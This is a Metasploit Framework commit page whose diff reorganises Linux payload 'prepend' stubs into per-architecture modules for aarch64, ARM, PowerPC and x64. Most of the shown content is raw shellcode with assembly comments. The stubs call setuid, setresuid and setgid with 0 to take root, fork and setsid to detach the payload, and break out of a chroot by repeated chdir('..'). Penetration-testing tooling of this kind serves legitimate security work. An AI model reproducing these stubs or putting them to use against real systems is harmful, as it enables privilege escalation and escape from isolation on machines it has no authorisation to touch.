Skip to content

Commit 378ac00

Browse files
bwatters-r7bwatters-r7
authored
Merge pull request #19750 from dledda-r7/feat/prepend-multi-arch
Fix Prepends in Linux Payloads
2 parents ed64b57 + 763ff92 commit 378ac00

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

75 files changed

+504
-510
lines changed

‎lib/msf/core/payload/linux.rb

Lines changed: 2 additions & 443 deletions
Large diffs are not rendered by default.

‎lib/msf/core/payload/linux/aarch64/prepends.rb

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
#
2+
# Linux aarch64 prepends
3+
#
4+
module Msf::Payload::Linux::Aarch64::Prepends
5+
include Msf::Payload::Linux::Prepends
6+
7+
def prepends_order
8+
%w[PrependSetresuid PrependSetreuid PrependSetuid]
9+
end
10+
11+
def appends_order
12+
%w[]
13+
end
14+
15+
def prepends_map
16+
{
17+
# 'PrependFork' => "",
18+
19+
# setuid(0)
20+
'PrependSetuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr
21+
"\x48\x12\x80\xd2" + # mov x8, #0x92
22+
"\x01\x00\x00\xd4", # svc 0x0
23+
24+
# setreuid(0, 0)
25+
'PrependSetreuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr
26+
"\xe1\x03\x1f\xaa" + # mov x1, xzr
27+
"\x28\x12\x80\xd2" + # mov x8, #0x91
28+
"\x01\x00\x00\xd4", # svc 0x0
29+
30+
# setresuid(0, 0, 0)
31+
'PrependSetresuid' => "\xe0\x03\x1f\xaa" + # mov x0, xzr
32+
"\xe1\x03\x1f\xaa" + # mov x1, xzr
33+
"\xe2\x03\x1f\xaa" + # mov x2, xzr
34+
"\x68\x12\x80\xd2" + # mov x8, #0x93
35+
"\x01\x00\x00\xd4" # svc 0x0
36+
}
37+
end
38+
39+
def appends_map
40+
{}
41+
end
42+
end

‎lib/msf/core/payload/linux/armle/prepends.rb

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
#
2+
# Linux armle prepends
3+
#
4+
module Msf::Payload::Linux::Armle::Prepends
5+
include Msf::Payload::Linux::Prepends
6+
7+
def prepends_order
8+
%w[PrependSetresuid PrependSetuid]
9+
end
10+
11+
def appends_order
12+
%w[]
13+
end
14+
15+
def prepends_map
16+
{
17+
# 'PrependFork' => "",
18+
19+
#
20+
# setuid(0)
21+
'PrependSetuid' => "\x00\x00\x20\xe0" + # eor r0, r0, r0 #
22+
"\x17\x70\xa0\xe3" + # mov r7, #23 #
23+
"\x00\x00\x00\xef", # svc #
24+
25+
# setresuid(0, 0, 0)
26+
'PrependSetresuid' => "\x00\x00\x20\xe0" + # eor r0, r0, r0 #
27+
"\x01\x10\x21\xe0" + # eor r1, r1, r1 #
28+
"\x02\x20\x22\xe0" + # eor r2, r2, r2 #
29+
"\xa4\x70\xa0\xe3" + # mov r7, #0xa4 #
30+
"\x00\x00\x00\xef" # svc #
31+
}
32+
end
33+
34+
def appends_map
35+
{}
36+
end
37+
end

‎lib/msf/core/payload/linux/bind_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ module Msf
1313
module Payload::Linux::BindTcp
1414

1515
include Msf::Payload::TransportConfig
16-
include Msf::Payload::Linux
16+
include Msf::Payload::Linux::X86::Prepends
1717
include Msf::Payload::Linux::SendUUID
1818

1919
#

‎lib/msf/core/payload/linux/ppc/prepends.rb

Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
#
2+
# Linux ppc prepends
3+
#
4+
module Msf::Payload::Linux::Ppc::Prepends
5+
include Msf::Payload::Linux::Prepends
6+
7+
def prepends_order
8+
%w[PrependSetresuid PrependSetreuid PrependSetuid PrependSetresgid PrependSetregid PrependSetgid]
9+
end
10+
11+
def appends_order
12+
%w[AppendExit]
13+
end
14+
15+
def prepends_map
16+
{
17+
# 'PrependFork' => "",
18+
19+
# setresuid(0, 0, 0)
20+
'PrependSetresuid' => "\x3b\xe0\x01\xff" + # li r31,511 #
21+
"\x7c\xa5\x2a\x78" + # xor r5,r5,r5 #
22+
"\x7c\x84\x22\x78" + # xor r4,r4,r4 #
23+
"\x7c\x63\x1a\x78" + # xor r3,r3,r3 #
24+
"\x38\x1f\xfe\xa5" + # addi r0,r31,-347 #
25+
"\x44\xff\xff\x02", # sc #
26+
27+
# setreuid(0, 0)
28+
'PrependSetreuid' => "\x3b\xe0\x01\xff" + # li r31,511 #
29+
"\x7c\x84\x22\x78" + # xor r4,r4,r4 #
30+
"\x7c\x63\x1a\x78" + # xor r3,r3,r3 #
31+
"\x38\x1f\xfe\x47" + # addi r0,r31,-441 #
32+
"\x44\xff\xff\x02", # sc #
33+
34+
# setuid(0)
35+
'PrependSetuid' => "\x3b\xe0\x01\xff" + # li r31,511 #
36+
"\x7c\x63\x1a\x78" + # xor r3,r3,r3 #
37+
"\x38\x1f\xfe\x18" + # addi r0,r31,-488 #
38+
"\x44\xff\xff\x02", # sc #
39+
40+
# setresgid(0, 0, 0)
41+
'PrependSetresgid' => "\x3b\xe0\x01\xff" + # li r31,511 #
42+
"\x7c\xa5\x2a\x78" + # xor r5,r5,r5 #
43+
"\x7c\x84\x22\x78" + # xor r4,r4,r4 #
44+
"\x7c\x63\x1a\x78" + # xor r3,r3,r3 #
45+
"\x38\x1f\xfe\xab" + # addi r0,r31,-341 #
46+
"\x44\xff\xff\x02", # sc #
47+
48+
# setregid(0, 0)
49+
'PrependSetregid' => "\x3b\xe0\x01\xff" + # li r31,511 #
50+
"\x7c\x84\x22\x78" + # xor r4,r4,r4 #
51+
"\x7c\x63\x1a\x78" + # xor r3,r3,r3 #
52+
"\x38\x1f\xfe\x48" + # addi r0,r31,-440 #
53+
"\x44\xff\xff\x02", # sc #
54+
55+
# setgid(0)
56+
'PrependSetgid' => "\x3b\xe0\x01\xff" + # li r31,511 #
57+
"\x7c\x63\x1a\x78" + # xor r3,r3,r3 #
58+
"\x38\x1f\xfe\x2f" + # addi r0,r31,-465 #
59+
"\x44\xff\xff\x02" # sc #
60+
61+
# setreuid(0, 0) = break chroot
62+
# 'PrependChrootBreak' =>
63+
}
64+
end
65+
66+
def appends_map
67+
{
68+
# exit(0)
69+
'AppendExit' => "\x3b\xe0\x01\xff" + # li r31,511 #
70+
"\x7c\x63\x1a\x78" + # xor r3,r3,r3 #
71+
"\x38\x1f\xfe\x02" + # addi r0,r31,-510 #
72+
"\x44\xff\xff\x02" # sc #
73+
}
74+
end
75+
end

‎lib/msf/core/payload/linux/prepends.rb

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
#
2+
# Linux Preprends shared logic.
3+
#
4+
module Msf::Payload::Linux::Prepends
5+
def initialize(info)
6+
super(info)
7+
register_prepend_options
8+
end
9+
10+
def register_prepend_options
11+
all_options = {
12+
'PrependFork' => [false, 'Prepend a stub that starts the payload in its own process via fork', 'false'],
13+
'PrependSetresuid' => [false, 'Prepend a stub that executes the setresuid(0, 0, 0) system call', 'false'],
14+
'PrependSetreuid' => [false, 'Prepend a stub that executes the setreuid(0, 0) system call', 'false'],
15+
'PrependSetuid' => [false, 'Prepend a stub that executes the setuid(0) system call', 'false'],
16+
'PrependSetresgid' => [false, 'Prepend a stub that executes the setresgid(0, 0, 0) system call', 'false'],
17+
'PrependSetregid' => [false, 'Prepend a stub that executes the setregid(0, 0) system call', 'false'],
18+
'PrependSetgid' => [false, 'Prepend a stub that executes the setgid(0) system call', 'false'],
19+
'PrependChrootBreak' => [false, 'Prepend a stub that will break out of a chroot (includes setreuid to root)', 'false'],
20+
'AppendExit' => [false, 'Prepend a stub that will break out of a chroot (includes setreuid to root)', 'false']
21+
}
22+
avaiable_options = []
23+
for prepend in prepends_order
24+
avaiable_options.append(Msf::OptBool.new(prepend, all_options.fetch(prepend)))
25+
end
26+
for append in appends_order
27+
avaiable_options.append(Msf::OptBool.new(append, all_options.fetch(append)))
28+
end
29+
register_advanced_options(avaiable_options, Msf::Payload::Linux)
30+
end
31+
32+
def apply_prepends(buf)
33+
pre = ''
34+
app = ''
35+
for name in prepends_order.each
36+
pre << prepends_map.fetch(name) if datastore[name]
37+
end
38+
for name in appends_order.each
39+
app << appends_map.fetch(name) if datastore[name]
40+
end
41+
pre.force_encoding('ASCII-8BIT') +
42+
buf.force_encoding('ASCII-8BIT') +
43+
app.force_encoding('ASCII-8BIT')
44+
end
45+
end

‎lib/msf/core/payload/linux/reverse_tcp_x86.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ module Msf
1212
module Payload::Linux::ReverseTcp_x86
1313

1414
include Msf::Payload::TransportConfig
15-
include Msf::Payload::Linux
15+
include Msf::Payload::Linux::X86::Prepends
1616
include Msf::Payload::Linux::SendUUID
1717

1818
#

‎lib/msf/core/payload/linux/x64/prepends.rb

Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
#
2+
# Linux x64 Prepends file
3+
#
4+
module Msf::Payload::Linux::X64::Prepends
5+
include Msf::Payload::Linux::Prepends
6+
def prepends_order
7+
%w[PrependFork PrependSetresuid PrependSetreuid PrependSetuid]
8+
end
9+
10+
def appends_order
11+
%w[]
12+
end
13+
14+
def prepends_map
15+
{
16+
'PrependFork' => "\x6a\x39" + # push 57 ; __NR_fork #
17+
"\x58" + # pop rax #
18+
"\x0f\x05" + # syscall #
19+
"\x48\x85\xc0" + # test rax,rax #
20+
"\x74\x08" + # jz loc_0012 #
21+
# loc_000a: #
22+
"\x48\x31\xff" + # xor rdi,rdi #
23+
"\x6a\x3c" + # push 60 ; __NR_exit #
24+
"\x58" + # pop rax #
25+
"\x0f\x05" + # syscall #
26+
# loc_0012: #
27+
"\x04\x70" + # add al, 112 ; __NR_setsid #
28+
"\x0f\x05" + # syscall #
29+
"\x6a\x39" + # push 57 ; __NR_fork #
30+
"\x58" + # pop rax #
31+
"\x0f\x05" + # syscall #
32+
"\x48\x85\xc0" + # test rax,rax #
33+
"\x75\xea", # jnz loc_000a #
34+
35+
# setresuid(0, 0, 0)
36+
'PrependSetresuid' => "\x48\x31\xff" + # xor rdi,rdi #
37+
"\x48\x89\xfe" + # mov rsi,rdi #
38+
"\x6a\x75" + # push 0x75 #
39+
"\x58" + # pop rax #
40+
"\x0f\x05", # syscall #
41+
42+
# setreuid(0, 0)
43+
'PrependSetreuid' => "\x48\x31\xff" + # xor rdi,rdi #
44+
"\x48\x89\xfe" + # mov rsi,rdi #
45+
"\x48\x89\xf2" + # mov rdx,rsi #
46+
"\x6a\x71" + # push 0x71 #
47+
"\x58" + # pop rax #
48+
"\x0f\x05", # syscall #
49+
50+
# setuid(0)
51+
'PrependSetuid' => "\x48\x31\xff" + # xor rdi,rdi #
52+
"\x6a\x69" + # push 0x69 #
53+
"\x58" + # pop rax #
54+
"\x0f\x05", # syscall #
55+
56+
# setresgid(0, 0, 0)
57+
'PrependSetresgid' => "\x48\x31\xff" + # xor rdi,rdi #
58+
"\x48\x89\xfe" + # mov rsi,rdi #
59+
"\x6a\x77" + # push 0x77 #
60+
"\x58" + # pop rax #
61+
"\x0f\x05", # syscall #
62+
63+
# setregid(0, 0)
64+
'PrependSetregid' => "\x48\x31\xff" + # xor rdi,rdi #
65+
"\x48\x89\xfe" + # mov rsi,rdi #
66+
"\x48\x89\xf2" + # mov rdx,rsi #
67+
"\x6a\x72" + # push 0x72 #
68+
"\x58" + # pop rax #
69+
"\x0f\x05", # syscall #
70+
71+
# setgid(0)
72+
'PrependSetgid' => "\x48\x31\xff" + # xor rdi,rdi #
73+
"\x6a\x6a" + # push 0x6a #
74+
"\x58" + # pop rax #
75+
"\x0f\x05", # syscall #
76+
77+
# setreuid(0, 0) + break chroot
78+
'PrependChrootBreak' => "\x48\x31\xff" + # xor rdi,rdi #
79+
"\x48\x89\xfe" + # mov rsi,rdi #
80+
"\x48\x89\xf8" + # mov rax,rdi #
81+
"\xb0\x71" + # mov al,0x71 #
82+
"\x0f\x05" + # syscall #
83+
# generate temp dir name
84+
"\x48\xbf#{Rex::Text.rand_text_alpha(8)}" + # mov rdi, <random 8 bytes alpha> #
85+
"\x56" + # push rsi #
86+
"\x57" + # push rdi #
87+
# mkdir(random,0755)
88+
"\x48\x89\xe7" + # mov rdi,rsp #
89+
"\x66\xbe\xed\x01" + # mov si,0755 #
90+
"\x6a\x53" + # push 0x53 #
91+
"\x58" + # pop rax #
92+
"\x0f\x05" + # syscall #
93+
94+
# chroot(random)
95+
"\x48\x31\xd2" + # xor rdx,rdx #
96+
"\xb2\xa1" + # mov dl,0xa1 #
97+
"\x48\x89\xd0" + # mov rax,rdx #
98+
"\x0f\x05" + # syscall #
99+
100+
# build .. (ptr in rdi )
101+
"\x66\xbe\x2e\x2e" + # mov si,0x2e2e #
102+
"\x56" + # push rsi #
103+
"\x48\x89\xe7" + # mov rdi,rsp #
104+
105+
# loop chdir(..) 69 times
106+
# syscall tend to modify rcx can't use loop...
107+
"\x6a\x45" + # push 0x45 #
108+
"\x5b" + # pop rbx #
109+
"\x6a\x50" + # push 0x50 #
110+
"\x58" + # pop rax #
111+
"\x0f\x05" + # syscall #
112+
"\xfe\xcb" + # dec bl #
113+
"\x75\xf7" + # jnz -7 #
114+
115+
# chroot (.) (which should be /)
116+
"\x6a\x2e" + # push . (0x2e) #
117+
"\x48\x89\xe7" + # mov rdi,rsp #
118+
"\x48\x89\xd0" + # mov rax,rdx #
119+
"\x0f\x05"
120+
} # syscall #
121+
end
122+
123+
def appends_map
124+
{
125+
# exit(0)
126+
'AppendExit' => "\x48\x31\xff" + # xor rdi,rdi #
127+
"\x6a\x3c" + # push 0x3c #
128+
"\x58" + # pop rax #
129+
"\x0f\x05" # syscall #
130+
}
131+
end
132+
end

‎lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb renamed to ‎lib/msf/core/payload/linux/x64/reverse_sctp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,10 +9,10 @@ module Msf
99
#
1010
###
1111

12-
module Payload::Linux::ReverseSctp_x64
12+
module Payload::Linux::X64::ReverseSctp
1313

1414
include Msf::Payload::TransportConfig
15-
include Msf::Payload::Linux
15+
include Msf::Payload::Linux::X64::Prepends
1616

1717
#
1818
# Generate the first stage

‎lib/msf/core/payload/linux/x64/reverse_tcp_x64.rb renamed to ‎lib/msf/core/payload/linux/x64/reverse_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,10 +9,10 @@ module Msf
99
#
1010
###
1111

12-
module Payload::Linux::ReverseTcp_x64
12+
module Payload::Linux::X64::ReverseTcp
1313

1414
include Msf::Payload::TransportConfig
15-
include Msf::Payload::Linux
15+
include Msf::Payload::Linux::X64::Prepends
1616

1717
#
1818
# Generate the first stage

0 commit comments

Comments
 (0)